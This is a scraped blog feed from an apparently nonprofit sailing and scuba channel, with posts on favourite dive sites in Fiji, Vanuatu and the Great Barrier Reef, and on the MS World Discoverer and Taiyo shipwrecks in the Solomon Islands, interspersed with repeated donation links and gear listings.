The oceans provide over half of the oxygen we breathe, every day. Eighty per cent of all life on earth is found in the oceans and they absorb about half of the world’s carbon dioxide. Their importance cannot be overstated. If the oceans die, humans will not be far behind. The research that the One Tree Island Research Station supports is exceptionally vital to growing our understanding of how the oceans work and how we can protect them for future generations. 

The Expedition Drenched crew want to thank the station managers and authority figures for generously letting our group of rag-tag sailors access this incredibly important area of the Great Barrier Reef. We are all grateful for the glimpse into a world-changing research facility that’s actively working to protect the waters we love so much. 

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
BUY AT AMAZON
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Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON
[mpfy-multi-map map_ids="230" height="500" label="Select Map" label_bg_color="#13c490" ]
Products

Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

The post One Tree Island Research Station – Expedition Drenched the FIRST Sailors Allowed to Visit first appeared on Drenched Productions.

]]> 2992 Diving the South Pacific – Our TOP Dives Around AMAZING Fiji and Vanuatu https://drenchedproductions.com/diving-the-south-pacific-our-top-dives-around-amazing-fiji-and-vanuatu/ https://drenchedproductions.com/diving-the-south-pacific-our-top-dives-around-amazing-fiji-and-vanuatu/#comments Fri, 02 Sep 2022 19:51:42 +0000 https://drenchedproductions.com/?p=2846 From snow white coral to schools of bull sharks, to a Crown of Thorn's cull - our list of the TOP SCUBA dives in Fiji and the Vanuatu Archipelago.

The post Diving the South Pacific – Our TOP Dives Around AMAZING Fiji and Vanuatu first appeared on Drenched Productions.

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Diving The South Pacific - Fiji & Vanuatu | Expedition Drenched

Diving the South Pacific - Our TOP Dives Around AMAZING Fiji and Vanuatu

From snow white coral to schools of bull sharks, to a Crown of Thorn’s cull – our list of the TOP SCUBA dives in Fiji and the Vanuatu Archipelago.

Expedition Drenched has been lucky enough to dive some of the best dive sites in the world and on those sites we’ve been blessed to see some incredible things. But there’s one location in the world that will always hold our SCUBA hearts firmly in its grasp – the South Pacific, specifically Fiji and Vanuatu.

We’ve already published videos on our favourite mooring sites and favourite dive sites in the South Pacific, but now we want to focus on just Fiji and Vanuatu.

Our favourite dives in these island nations gave us something truly unique – from a snow-white reef, to a sunken ex-luxury liner, to a Crown of Thorns cull dive. These four dives changed who we are as SCUBA divers and marine conservationists, and we think they’ll change you too.

 

Great White Wall, Rainbow Reef, Fiji

  • Dive type: Wall dive with some swim throughs
  • Minimum depth: 8m
  • Maximum depth: 40m 

Ever wondered what it would be like to dive into a snowy landscape? Well wonder no more, just dive the Great White Wall in Fiji!

White Wall is known for the huge quantity of white, fluffy, soft coral that gives the dive site the look of being covered in a layer of fresh snow. White coral is fairly rare in the underwater world so to dive a site that has such a huge concentration of these beautiful creatures was an incredible treat, even for those of us who don’t usually like looking at coral. These were arguably the healthiest corals we have ever seen. 

The site is also a great place to comb the rock face looking for small things like nudibranchs and crabs. We even saw a couple of sharks on our dive so this site can surprise you with many unexpected things from out of the blue.

SS President Coolidge Wreck, Espirito Santo, Vanuatu

  • Dive type: Wreck dive
  • Minimum depth: 20m
  • Maximum depth: 70m

The SS President Coolidge wreck is one of the most popular shipwreck dives in the world, and it’s also the largest. The wreck itself is roughly 200 meters long and 25 meters wide with about 50 different ‘dive sites’ to explore.

When it was originally built, the Coolidge was a luxury liner that could accommodate about 1,000 passengers. In December 1941, she was sent into service as a troop carrier for the U.S. war effort in the South Pacific. In October 1942, the SS President Coolidge was coming into port in Luganville on Espiritu Santo. But she had missed a crucial message from the U.S. military already on shore – make sure you take the back way into the bay because underwater mines are blocking the main channel. The SS President Coolidge struck one of these mines and sunk close to shore. In a very real way, the Coolidge was sunk by its own team. 

This shipwreck is HUGE. It’s recommended to spend at least 10 dives on the wreck to even start exploring the treasures it has to offer. You could spend months looking into each room and nook that the wreck has to offer. Keep in mind that every dive on this wreck will require a deco stop on your ascent, so it’s not the right kind of place for a novice or under-trained diver.

The highlight of this dive for us was finding the “Lady and the Unicorn” statue deep inside the wreck. We had rough, hand-drawn directions with us, and a keen drive to locate the statue, but even still we were blown away when the light of our torches finally revealed the porcelain statue that used to have a prominent place in the ballroom when the Coolidge was still a luxury liner.

Bull Shark Dive, Pacific Harbour, Fiji

  • Dive type: Shark dive
  • Depth: Who cares? BULL SHARKS
  • Considerations: Not a dive for the faint of heart

Bull sharks are requiem sharks usually found in warm, shallow waters all over the world. They are well-known for their aggressive nature and their terrifying ability to thrive in both the salt water of the oceans and the freshwater of rivers and lakes. A young boy was allegedly bitten by a bull shark in Lake Michigan, Illinois, in 1955, and experts say that while the attack is unconfirmed, it’s entirely possible. 

So who wants to go diving with these testy creatures? We do!

We jumped in the water in Pacific Harbour in the south of Fiji and were super excited to see a few bull sharks. But we didn’t see a few. We saw tons! Honestly, we were all a little shocked at how many large bull sharks were down there with us, and how close they came to our group of submarine humans. 

The dive itself wasn’t too deep and it certainly wasn’t a dive that we were used to. Once down at our dive depth, we all lined up behind a man-made wall of stones and used it to give us a little bit of protection from the huge sharks. Our guides and safety divers were around us with large hooks to poke the sharks away if they got too curious or too excited. 

If you like adventure and love the feeling of your heart racing, then a bull shark dive in Fiji should be on your list. Nothing gets the blood pumping like being surrounded by dozens of 3-meter-long aggressive sharks!

Crown of Thorns Cull Dive, Port Havannah, Vanuatu

  • Dive type: Conservation dive
  • Purpose: Contain the Crown of Thorns starfish
  • Why?: They’re destroying local reefs

Crown of Thorns starfish have been spawning on a large scale in the Vanuatu archipelago for many, many years. These beautifully spikey creatures are underwater pests. These animals spawn in the millions from December to March, so every year, an existing problem gets even worse. 

Why is it such a big problem? Each night, the nocturnal Crown of Thorns can eat up to its body area in coral, and they can grow to become up to a meter in diameter. The average Crown of Thorns consumes up to 13 square meters of reef every year. Left unchecked, they can easily and quickly destroy an entire coral reef. 

Crown of Thorns starfish are large and can travel big distances to find a tasty piece of coral. When they find a good-looking meal, they extrude their stomachs around the coral and slowly digest the polyps and suck up the liquid meal. After the polyps are sucked out of the calcium substrate, the coral appears white. Within a few weeks, black algae will start to cover the dead coral making it hard for new coral to attach and grow. 

When we arrived at Efate Island in southern Vanuatu, we went straight to Port Havannah to meet Peter, a resident who has dedicated himself to saving his local reefs from the invasion of the Crowns. He explained the two methods we’d be using to cull these pests from the reef and the special safety considerations we needed to keep in mind (like that the Crown of Thorns is covered in poisonous spikes). And then, we went diving and did our part to help protect the beautiful ocean world around Vanuatu. 

We managed to collect or kill over 200 Crown of Thorns starfish on our dive, and while we were happy with that number, it doesn’t even make a dent in the problem. Peter and the entire Vanuatu region need the help of SCUBA diving volunteers to really go to war with the Crowns. Visit Peter’s website to learn more about how you can get involved to help control the explosion of Crown of Thorns starfish in Vanuatu. 

Have you been diving in Fiji or Vanuatu and have a special dive stuck in your memory that didn’t make our list? Head over to our YouTube channel and leave us a comment on our TOP 10 Most AMAZING DIVE SITES In the South Pacific video to tell us about your experiences!

Go forth and explore our beautiful marine world. Happy bubbles!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
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Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
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GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON
[mpfy-multi-map map_ids="230" height="500" label="Select Map" label_bg_color="#13c490" ]
Products

Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

The post Diving the South Pacific – Our TOP Dives Around AMAZING Fiji and Vanuatu first appeared on Drenched Productions.

]]> https://drenchedproductions.com/diving-the-south-pacific-our-top-dives-around-amazing-fiji-and-vanuatu/feed/ 1 2846 Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship – World Discoverer Shipwreck https://drenchedproductions.com/sailing-the-solomon-islands-for-a-ghost-abandoned-cruise-ship-world-discoverer-shipwreck/ https://drenchedproductions.com/sailing-the-solomon-islands-for-a-ghost-abandoned-cruise-ship-world-discoverer-shipwreck/#comments Sun, 21 Aug 2022 22:56:11 +0000 https://drenchedproductions.com/?p=2825 We sailed to the Solomon Islands to find a ghost cruise ship abandoned in a tropical paradise. We found the MS World Discoverer, and we swam right in!

The post Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship – World Discoverer Shipwreck first appeared on Drenched Productions.

]]>
Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship - World Discoverer Shipwreck

Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship - World Discoverer Shipwreck

Expedition Drenched

21 August 2022

We sailed to the Solomon Islands to find a ghost cruise ship abandoned in a tropical paradise. We found the MS World Discoverer, and we swam right in!

The first season of Expedition Drenched sent us sailing towards the Solomon Islands and one of our most memorable shipwrecks. Resting at a roughly 45-degree angle, nestled up against the coral–dotted shoreline in Roderick Bay, the MS World Discoverer is slowly being destroyed by the nature that forced it aground. While it’s not nearly as large as the cruise ships we see on the oceans these days, the abandoned cruise ship is still a huge, imposing sight in the remote, tropical Solomon wilderness. 

After a quick stop to clear the Solomon Islands immigration process, we continued towards the Nggela Islands, also known as the Florida Islands, and the recorded location for the MS World Discoverer. 

Our first impressions of Roderick Bay included words that are usually bleeped out in our YouTube videos, but we couldn’t help ourselves when our eyes actually saw the indescribable beauty of this little tropical hideaway. The shoreline of Nggela Sule Island was lined with towering palm trees that were blowing gently in the warm island breeze while locals paddled past in their traditional, hand-carved canoes. Our floating home, the Sylfia, looked almost high-tech as she sailed through the scene from ages past. 

But then, as we sailed around the corner into Roderick Bay, there was this huge, rusted shipwreck almost dwarfing the island itself. The contrast between the untouched natural setting of the Solomon Islands and the rusted-out symbol of human advancement was shocking for the Expedition Drenched crew and it’s this contrast that has given the MS World Discoverer a big place in our memories of Expedition Drenched Season 1.

 

Where are the Solomon Islands?

  • Population: 707,851
  • Capital: Honiara
  • Official language: English
  • Government: Constitutional monarchy
  • Area: 28,400 km2
  • Currency: Solomon Islands dollar

The Solomon Islands are roughly 1,800km northwest of Australia, right in the middle of the Oceania region, but the island nation looks like it belongs in the pages of a tropical fairy tale. 

It’s believed that the islands were originally settled somewhere between 30,000 and 28,800 BC, and they remained in this ‘undiscovered’ state until Spanish navigator Alvaro de Mendana visited the islands in 1568. Mendana didn’t give the islands their name, rather it’s believed that they were named ‘the Solomons’ by the people who received word of his voyage and mapped his island discoveries. 

Britain got involved in the Solomon Islands in June 1893 when Captain Gibson of the HMS Curacoa declared the region a British protectorate. The region remained part of the British commonwealth until it was granted independence on July 7, 1978.

Some people may not know exactly where the Solomon Islands are located on a map, but many would recognize its landscape and scenery from several blockbuster World War II movies and TV series. The Solomon Islands campaign raged from 1942 to 1945 and saw some of the fiercest fighting during the second world war. It was here in these clear waters, against this pristine landscape, that the United States and the British Commonwealth clashed violently with the Empire of Japan. 

World War II statistics say that the Solomon Islands campaign cost the Allied Forces roughly 7,100 men, 29 ships, and 615 aircraft. The Empire of Japan was said to have lost 31,000 men, 38 ships, and 683 aircraft. While the history of this area is sombre, the relics left behind make for excellent exploration opportunities for people who love to gear up and SCUBA dive below the waves. It is estimated that there are roughly 200 shipwrecks and 590 submerged aircraft wrecks in the area near where the historic Battle for Guadalcanal occurred. 

But clearly, World War II wrecks aren’t the only thing that the Solomon Islands Archipelago has to offer. While we did do our fair share of diving some of the historic war wrecks, our first official stop in the Solomon Islands was Florida Island, Roderick Bay, and the wreck of the MS World Discoverer.

MS World Discoverer - Before and After the Accident

  • Tonnage: 3,700 tons
  • Passengers: 170
  • Crew: 80
  • Market: Small, niche cruises
  • Amenities: Lounge, library, observation deck, small pool

The MS World Discoverer isn’t the normal military-oriented shipwreck that we tend to be drawn toward, but that doesn’t mean that it doesn’t have an interesting history.

This travel and leisure vessel was originally built in 1974 in a German shipyard but just as it was ready to hit the water, it was purchased by a company called BEWA Cruises and was renamed the BEWA World Discoverer. In 1976, the ship was sold to another tourism company, Adventure Cruises Incorporated, and the name was changed back to the original MS World Discoverer. 

The ship was sold again in 1987 to Society Expedition Cruises and shortly afterwards it was refitted with a hull that could withstand small ice impacts. This meant that the ship could be used for sailing trips around the Arctic and Antarctic. The MS World Discoverer did run special expedition-style trips to the Antarctic and southern Chile regions for adventurous travellers looking to have an unforgettable experience for their holidays.

Even though the MS World Discoverer was outfitted for the extreme conditions in the Arctic and Antarctic, the ship could not run trips in those regions year-round. The reality is that during the winter months those regions become inaccessible for any ship carrying paying passengers. So when the conditions at the poles got worse, the MS World Discoverer would sail to another part of the world and continue to run leisure cruises in better conditions.

This is why the MS World Discoverer found herself in the Solomon Islands in April of 2000, navigating through the Sandfly Passage between Nggela Sule Island and Mbokonimbeti Island. This straight of water belongs to the aptly-named Iron Bottom Sound area of the Solomon Sea. 

Even though the MS World Discoverer was a double-hulled ship that was fully equipped to handle strikes with small icebergs, she began to take on water on April 30, 2000, at roughly 4 pm local time, when she collided with an uncharted reef in the middle of the passage. The captain of the vessel steamed it towards nearby Roderick Bay before the ship could no longer float. 

MS World Discoverer | Expedition Drenched
Captain Oliver Kruess’ quick realization that the ship was in big trouble helped to save the 190 people that were onboard the MS World Discoverer on that fateful day. He quickly radioed for help and local ferries were dispatched to assist the frightened passengers to shore. 

Captain Kruess’ decision to bank the ship along the shoreline in Roderick Bay also had a second purpose – to drop the ship in a location where it wouldn’t sink so that salvaging it later was a possibility. He tucked the rather large boat into a location with a shallow lagoon and extremely calm water to lessen the environmental impact on the steel ship. But the damage to the ship’s hull was too extensive for any quick repairs. Eventually, Society Expedition Cruises decided that the costs of salvaging the stranded vessel would be far greater than their initial investment, so they abandoned the ship to its watery prison.

MS World Discoverer | Expedition Drenched
Over the years, there were other two attempts to salvage the ship but neither was able to right the ship and make it float. Once those attempts were over, it didn’t take long for the villagers living on Nggela Sule Island to remove anything of value from the once-proud, ocean-going vessel. Locals even took the glass windows from the ship so they could be added to village houses. 

A few years after the accident, Society Expedition Cruises filed for bankruptcy and shut down operations. This meant that the abandoned MS World Discoverer now has no legitimate owner and will likely sit in Roderick Bay until the ocean finally takes her back, piece by piece. 

Getting to the Solomon Islands

If you don’t have a trusted sailboat like the Expedition Drenched crew, you can still really easily get yourself over to visit the Solomon Islands and the MS World Discoverer shipwreck. Solomon Airlines, the national airline, flies directly from Sydney and Brisbane to the capital city of Honiara. If you’re coming from Europe or North America, the most common route is via Australia.

If you have time, do make a stop in Australia to enjoy the incredible underwater world around the big Aussie island. Check out our YouTube page to follow our current adventure – sailing over to the stunning Lord Howe Island between Australia and New Zealand. We’re definitely not holding anything back for Expedition Drenched Season 3.

Happy sailing and exploring from all of your Expedition Drenched crews!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
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Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON

The post Sailing the Solomon Islands for a Ghost Abandoned Cruise Ship – World Discoverer Shipwreck first appeared on Drenched Productions.

]]> https://drenchedproductions.com/sailing-the-solomon-islands-for-a-ghost-abandoned-cruise-ship-world-discoverer-shipwreck/feed/ 1 2825 Best Great Barrier Reef Dive Sites – Expedition Drenched Season 2 Top Dive Site Experiences https://drenchedproductions.com/best-great-barrier-reef-dive-sites-expedition-drenched-season-2-top-dive-site-experiences/ Sun, 24 Jul 2022 19:18:50 +0000 https://drenchedproductions.com/?p=2644 The Great Barrier Reef is a SCUBA divers dream. But which sites should you dive? Expedition Drenched rounds up our top 4 Great Barrier Reef dive sites.

The post Best Great Barrier Reef Dive Sites – Expedition Drenched Season 2 Top Dive Site Experiences first appeared on Drenched Productions.

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Queensland Top Dive Sites Experience | Expedition Drenched

Best Great Barrier Reef Dive Sites - Expedition Drenched Season 2 Top Dive Site Experiences

The Great Barrier Reef is a SCUBA divers dream. But which sites should you dive? Expedition Drenched rounds up our top 4 Great Barrier Reef dive sites.

Only one living structure on the planet is so big that it can be seen from space. The Great Barrier Reef is roughly 2,000km from top to bottom and covers an area of 350,000 square kilometers. It’s HUGE. And you can find it in Queensland, Australia.

The Expedition Drenched crew was lucky enough to visit this spectacular area of the world during our second season, and we loved every moment. The beautiful turquoise water, stunning water clarity, unparalleled views, and abundant marine life left us with memories that we will never forget.

So this week, we thought we’d do a round-up of our favorite dive sites on the Great Barrier Reef in Queensland, Australia. 

We did some diving on sites towards the center of the Great Barrier Reef and we also ventured out to visit the northern Ribbon Reefs that fringe the continental shelf and are just out of reach for day trips and charters from the mainland. Each of our  4 choices will give you a different dive experience – tuna and sharks at Steve’s Bommie will blow your mind and the underwater museum right beside John Brewer Reef will make you feel like you’re inside an underwater science lab.

However, the water around Queensland isn’t just for SCUBA divers. If you’re not someone who likes to strap on a tank of breathing gas and swim around underwater, the Whitsundays is a stunningly perfect place to experience the classic beauty for which Queensland and the Great Barrier Reef are famously known.

 

Northern Great Barrier Reef - Ribbon Reefs

The northern section of the Great Barrier Reef is the home of the Ribbon Reefs, a chain of 10 individual reefs that fringe the edge of the continental shelf. The Ribbon Reefs are in a fairly remote area of the Great Barrier Reef and are only visited by a few liveaboards. But the turquoise water, huge schools of pelagic fish, and fields of soft anemones weren’t out of reach for the Sylfia. We jumped off her dive deck several times in the Ribbon Reefs, but our dives on Cracker Jack and Steve’s Bommie were definitely our most memorable.

Cracker Jack - A Star of Queensland’s Ribbon Reefs

  • Max depth: 35m
  • Min depth: 10m
  • Dive type: Pinnacle
  • Marine life: Sharks and tuna

Cracker Jack is one of the top dive sites in the Great Barrier Reef Ribbon Reefs. It’s a huge pinnacle that rises from 35m up to around 10m below the surface. The sides of the pinnacle are littered with immense gorgonian sea fans busy picking their food out of the passing water. 

The pinnacle itself is home to all the regular characters – lionfish and huge moray eels – but because of it’s location in the Great Barrier Reef and its depth, it’s also a great place for larger pelagic life. If you turn away from the pinnacle and look out into the blue you’ll probably see large pelagic schools of Jacks, and if you’re really lucky you may also spot a shark or some large, hungry tuna stalking the Jacks. 

The shallower part of the pinnacle is full of nooks and crannies that make great homes for mantis shrimp, pipefish, and cleaner shrimp but what will really catch your eye are the schools of glassfish. Since they’re mostly transparent, the large groups of glassfish shine in the sun and make it feel like the whole dive site is covered in glitter. 

Steve’s Bommie - Far Out Ribbon Reef Dive Site

  • Max depth: 25m
  • Min depth: 1m
  • Dive type: Pinnacle
  • Marine life: Giant frogfish and stonefish

Steve’s Bommie is a favourite site on the Ribbon Reefs and people will hop on a liveaboard just to pay it a visit. The site is a rock spire that rises from about 25m and almost hits the surface of the water. This is a really cool site because you can drop down to the base and check out the sea fans and hard corals at the bottom, then slowly shallow up as you spiral around the rock tower. 

As you make your way back up to the surface, keep your eyes peeled for giant frogfish and stonefish camouflaged against the rocky backdrop. They may be hard to spot, but this site is home to a lot of them so go slow, and use your underwater torch to help make them easier to spot. 

Central Great Barrier Reef

Our time in the central area of the Great Barrier Reef had us exploring underwater structures that were less natural than the reefs we usually explore. This part of Great Barrier Reef Marine Park is home to the SS Yongala wreck, often considered the best shipwreck dive site in the world, and the MOUA underwater museum, an hommage to marine conservation efforts.

John Brewer Reef - MOUA Coral Greenhouse Underwater Museum

  • Max depth: 18m
  • Min depth: 12m
  • Dive type: Underwater sculpture museum

Your Expedition Drenched crew were some of the first people in the world to be given permission to dive the MOUA Coral Greenhouse underwater museum. We quickly realized that this underwater installation is more than just a piece of art. 

The Coral Greenhouse is just what it sounds like – a greenhouse for corals. Inside the greenhouse, there are about 20 concrete scientists hard at work saving the marine environment that surrounds them. 

The artist, Jason de Caires Taylor, hopes that his underwater art pieces will encourage more culturally and environmentally aware tourism and help spur a greater understanding of our natural worlds as breathing ecosystems. This is why we loved this dive site so much – you can hear the conversation about marine conservation right there underwater. 

World’s Newest Underwater Sculpture Installation | Expedition Drenched

SS Yongala - Queensland’s Biggest Intact Wreck

  • Max depth: 33m
  • Min depth: 15m
  • Dive type: Shipwreck
  • Marine life: Manta rays, and sometimes whales!

The SS Yongala sank over 100 years ago with no recorded survivors, but today it is often considered to be the best intact wreck dive in the world because it’s loaded with marine life. 

This is a deeper dive site with the bottom of the wreck sitting in the sand at 33m and the top of the wreck sitting around 15m. It’s also considered a site that should be left to highly experienced divers because there’s often a stiff current washing over the wreck. 

SS Yongala Shipwreck - Scuba Diving in Queensland

The SS Yongala is a protected wreck and it’s prohibited to penetrate the wreck itself. When divers go inside a wreck, the air they exhale can accumulate in pockets that cause corrosion over time. To stop this from happening, the local authorities have banned diving inside the SS Yongala, and we love this decision! There’s so much to see on the outside of the wreck that you won’t miss checking out the inside. Plus, keeping to the outside will ensure that our kids and grandkids will also get to enjoy this stunning Great Barrier Reef dive site. 

Each season, the Expedition Drenched crew explores a new area of the ocean and dives new dive sites in the hunt for knowledge and unforgettable experiences. Check out our YouTube channel to learn more about  all the places we’ve already been and to follow our latest adventure – sailing over to legendary Lord Howe Island between Australia and New Zealand. Once the trip is over, we’ll put together our list of favourite Expedition Drenched Season 3 dive sites so that you know exactly where you should dip your fins into the water. 

Happy adventuring, and happy bubbles!

👉Web: https://expeditiondrenched.org

👉Patreon: https://www.patreon.com/DrenchedDivers

👉Facebook: https://www.facebook.com/ExpeditionDr…

👉Instagram: https://www.instagram.com/expeditiond…

👉Merch: https://expeditiondrenched.org/collections/products

 

Expedition drenched is a U.S. based marine educational non profit 501c3 made possible by our donors and patrons. If you love scuba, sailing, travel, adventure, exploration, conservation, and all things aquatic, we really hope you will continue to follow us on our journey. Our goal in making these videos is to show the world all the amazing, beautiful, and strange inhabitants of the ocean in the hopes that we will all be inspired to protect it.

If you liked our video, keep watching them! Subscribe! Thumbs Up!

Let us know what you think in the comments! Share us with all your favorite mermaids and mermen in your life!

Support us on Patreon: https://www.patreon.com/DrenchedDivers

We Use & Love:

Cameras we use:

  • Aerials: DJI Mavic
  • On Land: Sony A7iii, Sony AX-53, GoPro 7

Underwater:

  • Sony A7iii in Nauticam Housing
  • Sony RX-100 in Nauticam Housing Underwater

Lighting:

You Might Also Like:

DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
DJI Mavic 2 PRO Drone Quadcopter with Fly More Kit Combo Bundle
BUY AT AMAZON
Keldan Video 8X 10,000 Lumen 5,000K Video
Keldan Video 8X 10,000 Lumen 5,000K Video
BUY AT AMAZON
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
GoPro HERO7 Black + Extra Battery - E-Commerce Packaging - Water
BUY AT AMAZON
[mpfy-multi-map map_ids="230" height="350" label="Select Map" label_bg_color="#13c490" ]
Products

Our online store on the Expedition Drench website was already fully stocked with awesome, ocean-inspired gear that will get you noticed on the beach, on a sailboat, or even on a di

The post Best Great Barrier Reef Dive Sites – Expedition Drenched Season 2 Top Dive Site Experiences first appeared on Drenched Productions.

]]> 2644 We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/ https://drenchedproductions.com/we-dived-a-magical-vertical-shipwreck-one-of-only-two-in-the-whole-world/#comments Sun, 10 Jul 2022 17:23:25 +0000 https://drenchedproductions.com/?p=2356 The Expedition Drenched crews have seen some spectacular things but this takes the (pan)cake. We dived a totally VERTICAL shipwreck - 1 of 2 in the whole world!

The post We Dived a Magical Vertical Shipwreck – One of Only TWO in the Whole World! first appeared on Drenched Productions.

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Dive a magical vertical Shipwreck | Expedition Drenched

We Dived a Magical Vertical Shipwreck - One of Only TWO in the Whole World!

Expedition Drenched

10 July 2022

The Expedition Drenched crews have seen some spectacular things but this takes the (pan)cake. We dived a totally VERTICAL shipwreck – 1 of 2 in the whole world!

The Expedition Drenched crew has been lucky enough to see and experience some incredible things over the years. From meeting people from incredible lands, to diving some incredible shipwrecks, to having amazing encounters with some magical marine life – we have been so lucky to be able to live our passion for the oceans in such a life-changing way. 

In our huge library of experiences, some still stand out amongst the others. Our voyage to the Solomon Islands during our first season was definitely one of those experiences. A once-in-a-lifetime trip that will live in our memories, and in the sails we hoist over the Sylfia, for all voyages to come.

While we do love our treasured boat, once in a while we leave her behind and go to shore to wiggle our toes in some beautiful white sand. One of the most magical things about the Solomon Islands is the fact that there aren’t many people around. Sitting on a beach, totally alone,  in the middle of a scattering of some of the most beautiful tropical islands we’ve ever seen was a highlight for our first crew. 

And who doesn’t love to run and play with a friendly pig on such a lovely beach? We loved our relaxing time on that little sand bar but Peanut the pig had an absolute running around and chasing hermit crabs. She snored for days after that. 

But what made this stop on our Solomon Islands voyage so truly memorable wasn’t just the time we spent together in a spectacular location, but also the shipwreck that we specifically came to locate. It’s one of only two shipwrecks in the world that have sunk in totally vertical positions. 

The first wreck is the HMS Victoria which sits in roughly 120 meters of water off the coast of Tripoli in northern Lebanon. The second wreck is the one we came to see – the Taiyo tuna fishing ship that now lives under the waves in the Solomon Islands.

 

Where are the Solomon Islands?

The Solomon Islands are in Oceania, east of Papua New Guinea and northwest of Vanuatu. It’s a sovereign nation that consists of six large islands and over 900 small ones. It was first visited by European explorers in 1568 when Spanish navigator Álvaro de Mendaña directed his ship into the tangle of tropical outcrops. But the islands have been inhabited since at least 30,000-28,800 BCE by indigenous peoples. 

 

Even though the Solomon Islands look like they’re a remote paradise, they’re easy to access with a short(ish) 3-hour flight from Brisbane, Australia. From North America, most travellers depart from Los Angeles towards Brisbane, whereas European travellers will typically have a stopover in Thailand or Hong Kong on their way to Brisbane.

Taiyo Wreck - Forever on Her Heels

We all make mistakes. Some are minor mistakes, some teach us valuable lessons, but others are just big head-slapping mistakes. That’s what happened to the crew of the Taiyo when they ventured into the Solomon Islands and Nono lagoon. 

The Taiyo was a Japanese tuna fishing vessel on its maiden fishing voyage when it picked a fight with the uncharted maze of reefs in the Nono lagoon. Many of the reefs in the area are perched on the top of towering underwater rock walls caused by the volcanic activity that built the area back in ancient history. These walls and their sharp reefs are really dangerous to ship captains that sail into the area.

The Taiyo ran into one of these reefs head-ons and beached itself on the shallow corals. After sitting there for a few days, a salvage effort was launched to free the ship and hopefully repair any damage. The ship was pulled back off the reef but it immediately started to take on water. It sunk with its stern pointed towards the deep and its bow sitting only about a meter below the surface of the turquoise water. 

The ship looks like it could tip over at any moment but it’s actually resting between two parts of the reef. The Taiyo now will spend the rest of its days standing at attention on the edge of the Nono reef under the sun of the South Pacific. 

Now Forever in our Hearts

